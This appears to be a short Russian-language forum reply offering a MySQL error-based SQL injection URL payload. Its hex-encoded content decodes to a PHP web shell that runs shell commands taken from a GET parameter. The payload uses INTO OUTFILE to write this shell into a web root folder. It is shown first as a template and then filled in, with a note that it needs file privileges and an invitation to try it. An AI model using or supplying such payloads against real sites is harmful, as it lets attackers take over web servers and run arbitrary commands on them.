http://localhost/'||(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select код шелла в hex from mysql.user into outfile '/var/www/html/UserFiles/shell.php') from information_schema.tables limit 1),1,64),floor(rand(0)*2)))||'

в твоем примере:

http://localhost/'||(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select 0x3C3F7068702073797374656D28245F4745545B22636D6422 5D293B203F3E from mysql.user into outfile '/var/www/html/UserFiles/shell.php') from information_schema.tables limit 1),1,64),floor(rand(0)*2)))||'

если current_user file_priv=Y

попробуй